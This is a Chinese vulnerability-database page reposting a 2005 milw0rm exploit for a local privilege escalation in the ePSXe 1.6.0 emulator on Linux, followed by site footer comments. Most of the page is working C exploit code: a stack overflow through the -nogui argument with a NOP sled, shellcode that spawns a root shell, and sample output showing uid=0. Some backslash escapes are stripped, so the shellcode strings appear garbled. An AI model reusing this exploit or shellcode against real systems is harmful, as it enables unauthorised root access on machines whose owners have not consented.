ePSXe 1.6.0 – ‘nogui()’ Local Privilege Escalation
漏洞ID | 1055154 | 漏洞类型 | |
发布时间 | 2005-06-04 | 更新时间 | 2005-06-04 |
CVE编号 | N/A |
CNNVD-ID | N/A |
漏洞平台 | Linux | CVSS评分 | N/A |
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
/* epsxe-e.c
ePSXe v1.* local exploit
By: Qnix
e-mail: q-nix[at]hotmail[dot]com
ePSXe-website: www.epsxe.com
EXP-Sample:
root@Qnix:~/epsxe# gcc -o epsxe-e epsxe-e.c
root@Qnix:~/epsxe# ./epsxe-e
*************************************
ePSXe v1.* local exploit
by
Qnix | Q-nix[at]hotmail[dot]com
*************************************
[~] Stack pointer (ESP) : 0xbffff568
[~] Offset from ESP : 0x0
[~] Desired Return Addr : 0xbffff568
* Running ePSXe emulator version 1.6.0.
* Memory handlers init.
sh-2.05b# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
*/
#include <stdlib.h>
char shellcode[] =
"x31xc0xb0x46x31xdbx31xc9xcdx80xebx16x5bx31xc0"
"x88x43x07x89x5bx08x89x43x0cxb0x0bx8dx4bx08x8d"
"x53x0cxcdx80xe8xe5xffxffxffx2fx62x69x6ex2fx73"
"x68";
unsigned long sp(void)
{ __asm__("movl %esp, %eax");}
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;
offset = 0;
esp = sp();
ret = esp - offset;
printf("n ************************************* n");
printf(" ePSXe v1.* local exploit n");
printf(" by n");
printf(" Qnix | Q-nix[at]hotmail[dot]com ");
printf("n ************************************* nn");
printf("[~] Stack pointer (ESP) : 0x%xn", esp);
printf("[~] Offset from ESP : 0x%xn", offset);
printf("[~] Desired Return Addr : 0x%xnn", ret);
buffer = malloc(600);
ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < 600; i+=4)
{ *(addr_ptr++) = ret; }
for(i=0; i < 200; i++)
{ buffer[i] = 'x90'; }
ptr = buffer + 200;
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }
buffer[600-1] = 0;
execl("./epsxe", "epsxe", "-nogui", buffer, 0);
free(buffer);
return 0;
}
// milw0rm.com [2005-06-04]
相关推荐: ViRobot Linux Server 2.0 – Local Overflow
ViRobot Linux Server 2.0 – Local Overflow 漏洞ID 1054108 漏洞类型 发布时间 2003-08-20 更新时间 2003-08-20 CVE编号 N/A CNNVD-ID N/A 漏洞平台 Linux CVSS…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666